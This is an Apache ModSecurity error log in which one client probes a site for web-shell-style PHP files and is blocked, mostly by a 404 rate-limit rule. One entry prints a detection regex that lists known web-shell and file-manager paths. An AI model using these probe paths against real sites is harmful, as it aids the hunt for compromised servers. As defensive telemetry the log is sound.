[Sat May 16 10:37:05.589373 2026] [:error] [pid 24869:tid 24918] [client 20.151.206.3:27554] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "agfYUexo3FMprMltYl4iMQAAAEo"]
[Sat May 16 10:37:06.006690 2026] [:error] [pid 5602:tid 5620] [client 20.151.206.3:27614] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "agfYUtzTTsu77r3UIskOFwAAARA"]
[Sat May 16 10:37:06.423692 2026] [:error] [pid 61463:tid 61479] [client 20.151.206.3:27476] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "agfYUjXdL1WU7nYXPmTZawAAAc4"]
[Sat May 16 10:37:06.837419 2026] [:error] [pid 24979:tid 24986] [client 20.151.206.3:27562] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son.php"] [unique_id "agfYUrvSFUQiwLaOL2pjTAAAAMU"]
[Sat May 16 10:37:07.253907 2026] [:error] [pid 24979:tid 24981] [client 20.151.206.3:27568] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son.php"] [unique_id "agfYU7vSFUQiwLaOL2pjTQAAAMA"]
[Sat May 16 10:37:07.671969 2026] [:error] [pid 24874:tid 24955] [client 20.151.206.3:27077] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son.php"] [unique_id "agfYU8iii6x3XidYGHHGzwAAAJQ"]
[Sat May 16 10:37:08.093513 2026] [:error] [pid 24867:tid 24894] [client 20.151.206.3:27615] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son.php"] [unique_id "agfYVCDgFLCgyKq-zmYJzAAAAA0"]
[Sat May 16 10:37:08.512671 2026] [:error] [pid 61463:tid 61485] [client 20.151.206.3:27405] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "agfYVDXdL1WU7nYXPmTZbAAAAdQ"]
[Sat May 16 10:37:08.929263 2026] [:error] [pid 61463:tid 61474] [client 20.151.206.3:27079] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "agfYVDXdL1WU7nYXPmTZbQAAAck"]
[Sat May 16 10:37:09.347074 2026] [:error] [pid 61463:tid 61482] [client 20.151.206.3:27613] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "agfYVTXdL1WU7nYXPmTZbgAAAdE"]
[Sat May 16 10:37:09.762443 2026] [:error] [pid 61463:tid 61488] [client 20.151.206.3:27643] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "agfYVTXdL1WU7nYXPmTZbwAAAdc"]
[Sat May 16 10:37:10.182424 2026] [:error] [pid 61463:tid 61465] [client 20.151.206.3:27462] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zo.php"] [unique_id "agfYVjXdL1WU7nYXPmTZcAAAAcA"]
[Sat May 16 10:37:10.603915 2026] [:error] [pid 5602:tid 5604] [client 20.151.206.3:27075] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zo.php"] [unique_id "agfYVtzTTsu77r3UIskOGAAAAQA"]
[Sat May 16 10:37:11.025915 2026] [:error] [pid 5602:tid 5628] [client 20.151.206.3:27105] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zo.php"] [unique_id "agfYV9zTTsu77r3UIskOGQAAARg"]
[Sat May 16 10:37:11.450516 2026] [:error] [pid 24869:tid 24928] [client 20.151.206.3:27484] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zo.php"] [unique_id "agfYV-xo3FMprMltYl4iMgAAAFQ"]
[Sat May 16 10:37:11.866322 2026] [:error] [pid 62341:tid 62350] [client 20.151.206.3:27486] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "agfYV6nvQ59ep-XG78iLkwAAAoQ"]
[Sat May 16 10:37:12.283814 2026] [:error] [pid 61463:tid 61473] [client 20.151.206.3:27487] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "agfYWDXdL1WU7nYXPmTZcgAAAcg"]
[Sat May 16 10:37:12.697838 2026] [:error] [pid 24869:tid 24926] [client 20.151.206.3:27090] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "agfYWOxo3FMprMltYl4iMwAAAFI"]
[Sat May 16 10:37:13.119833 2026] [:error] [pid 24869:tid 24930] [client 20.151.206.3:27101] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "agfYWexo3FMprMltYl4iNAAAAFY"]
[Sat May 16 10:37:13.539199 2026] [:error] [pid 24869:tid 24925] [client 20.151.206.3:27082] [client 20.151.206.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tiny.php"] [unique_id "agfYWexo3FMprMltYl4iNQAAAFE"]
[Sat May 16 10:37:13.962601 2026] [:error] [pid 24979:tid 24996] [client 20.151.206.3:27516] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s1.php"] [unique_id "agfYWbvSFUQiwLaOL2pjUAAAAM8"]
[Sat May 16 10:37:14.380096 2026] [:error] [pid 24979:tid 24992] [client 20.151.206.3:27103] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s1.php"] [unique_id "agfYWrvSFUQiwLaOL2pjUgAAAMs"]
[Sat May 16 10:37:14.808981 2026] [:error] [pid 61361:tid 61375] [client 20.151.206.3:27506] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s1.php"] [unique_id "agfYWpZojzbt3jGziNkGfgAAAUw"]
[Sat May 16 10:37:15.237110 2026] [:error] [pid 5602:tid 5613] [client 20.151.206.3:27491] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s1.php"] [unique_id "agfYW9zTTsu77r3UIskOHQAAAQk"]
[Sat May 16 10:37:15.663405 2026] [:error] [pid 61411:tid 61436] [client 20.151.206.3:27542] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/de.php"] [unique_id "agfYW2VkiEwGnPL_dvHJKwAAAZc"]
[Sat May 16 10:37:16.086227 2026] [:error] [pid 5602:tid 5621] [client 20.151.206.3:27078] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/de.php"] [unique_id "agfYXNzTTsu77r3UIskOHgAAARE"]
[Sat May 16 10:37:16.503398 2026] [:error] [pid 24869:tid 24927] [client 20.151.206.3:27465] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/de.php"] [unique_id "agfYXOxo3FMprMltYl4iNgAAAFM"]
[Sat May 16 10:37:16.916175 2026] [:error] [pid 24979:tid 25002] [client 20.151.206.3:27513] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/de.php"] [unique_id "agfYXLvSFUQiwLaOL2pjUwAAANU"]
[Sat May 16 10:37:17.334783 2026] [:error] [pid 24979:tid 24990] [client 20.151.206.3:27129] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1a.php"] [unique_id "agfYXbvSFUQiwLaOL2pjVAAAAMk"]
[Sat May 16 10:37:17.758077 2026] [:error] [pid 24979:tid 25005] [client 20.151.206.3:27084] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1a.php"] [unique_id "agfYXbvSFUQiwLaOL2pjVQAAANg"]
[Sat May 16 10:37:18.181860 2026] [:error] [pid 24979:tid 25004] [client 20.151.206.3:27645] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1a.php"] [unique_id "agfYXrvSFUQiwLaOL2pjVwAAANc"]
[Sat May 16 10:37:18.599268 2026] [:error] [pid 24979:tid 24991] [client 20.151.206.3:27508] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1a.php"] [unique_id "agfYXrvSFUQiwLaOL2pjWAAAAMo"]
[Sat May 16 10:37:19.018321 2026] [:error] [pid 61411:tid 61424] [client 20.151.206.3:27559] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "agfYX2VkiEwGnPL_dvHJLAAAAYs"]
[Sat May 16 10:37:19.433170 2026] [:error] [pid 61411:tid 61434] [client 20.151.206.3:27502] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "agfYX2VkiEwGnPL_dvHJLQAAAZU"]
[Sat May 16 10:37:19.848319 2026] [:error] [pid 24979:tid 24985] [client 20.151.206.3:27073] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "agfYX7vSFUQiwLaOL2pjWgAAAMQ"]
[Sat May 16 10:37:20.271387 2026] [:error] [pid 61463:tid 61467] [client 20.151.206.3:27550] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "agfYYDXdL1WU7nYXPmTZdQAAAcI"]
[Sat May 16 10:37:20.692009 2026] [:error] [pid 61463:tid 61476] [client 20.151.206.3:27470] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "agfYYDXdL1WU7nYXPmTZdgAAAcs"]
[Sat May 16 10:37:21.112809 2026] [:error] [pid 61361:tid 61387] [client 20.151.206.3:27113] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "agfYYZZojzbt3jGziNkGhAAAAVg"]
[Sat May 16 10:37:21.537239 2026] [:error] [pid 61463:tid 61478] [client 20.151.206.3:27087] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "agfYYTXdL1WU7nYXPmTZdwAAAc0"]
[Sat May 16 10:37:21.951649 2026] [:error] [pid 24869:tid 24924] [client 20.151.206.3:27569] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "agfYYexo3FMprMltYl4iNwAAAFA"]
[Sat May 16 10:37:22.368332 2026] [:error] [pid 61411:tid 61426] [client 20.151.206.3:27106] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sky.php"] [unique_id "agfYYmVkiEwGnPL_dvHJLgAAAY0"]
[Sat May 16 10:37:22.786579 2026] [:error] [pid 61411:tid 61433] [client 20.151.206.3:27509] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sky.php"] [unique_id "agfYYmVkiEwGnPL_dvHJMAAAAZQ"]
[Sat May 16 10:37:23.215289 2026] [:error] [pid 61411:tid 61416] [client 20.151.206.3:27490] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sky.php"] [unique_id "agfYY2VkiEwGnPL_dvHJMQAAAYM"]
[Sat May 16 10:37:23.640183 2026] [:error] [pid 61463:tid 61472] [client 20.151.206.3:27597] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sky.php"] [unique_id "agfYYzXdL1WU7nYXPmTZegAAAcc"]
[Sat May 16 10:37:24.063789 2026] [:error] [pid 61411:tid 61429] [client 20.151.206.3:27112] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "agfYZGVkiEwGnPL_dvHJMgAAAZA"]
[Sat May 16 10:37:24.488849 2026] [:error] [pid 61361:tid 61384] [client 20.151.206.3:27119] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "agfYZJZojzbt3jGziNkGiQAAAVU"]
[Sat May 16 10:37:24.918862 2026] [:error] [pid 61361:tid 61366] [client 20.151.206.3:27083] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "agfYZJZojzbt3jGziNkGiwAAAUM"]
[Sat May 16 10:37:25.337402 2026] [:error] [pid 5602:tid 5624] [client 20.151.206.3:27397] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "agfYZdzTTsu77r3UIskOIAAAARQ"]
[Sat May 16 10:37:25.752033 2026] [:error] [pid 62210:tid 62226] [client 20.151.206.3:27466] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "agfYZcjHonCA4ORo40GwhgAAAk4"]
[Sat May 16 10:37:26.178294 2026] [:error] [pid 61411:tid 61431] [client 20.151.206.3:27494] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "agfYZmVkiEwGnPL_dvHJMwAAAZI"]
[Sat May 16 10:37:26.596038 2026] [:error] [pid 5602:tid 5616] [client 20.151.206.3:27110] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "agfYZtzTTsu77r3UIskOIgAAAQw"]
[Sat May 16 10:37:27.014334 2026] [:error] [pid 24867:tid 24899] [client 20.151.206.3:27501] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "agfYZyDgFLCgyKq-zmYJzgAAABI"]
[Sat May 16 10:37:27.437864 2026] [:error] [pid 62210:tid 62229] [client 20.151.206.3:27117] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "agfYZ8jHonCA4ORo40GwhwAAAlE"]
[Sat May 16 10:37:27.859227 2026] [:error] [pid 24869:tid 24922] [client 20.151.206.3:27489] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "agfYZ-xo3FMprMltYl4iOAAAAE4"]
[Sat May 16 10:37:28.270804 2026] [:error] [pid 61411:tid 61427] [client 20.151.206.3:27583] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "agfYaGVkiEwGnPL_dvHJNAAAAY4"]
[Sat May 16 10:37:28.689892 2026] [:error] [pid 61411:tid 61422] [client 20.151.206.3:27514] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "agfYaGVkiEwGnPL_dvHJNQAAAYk"]
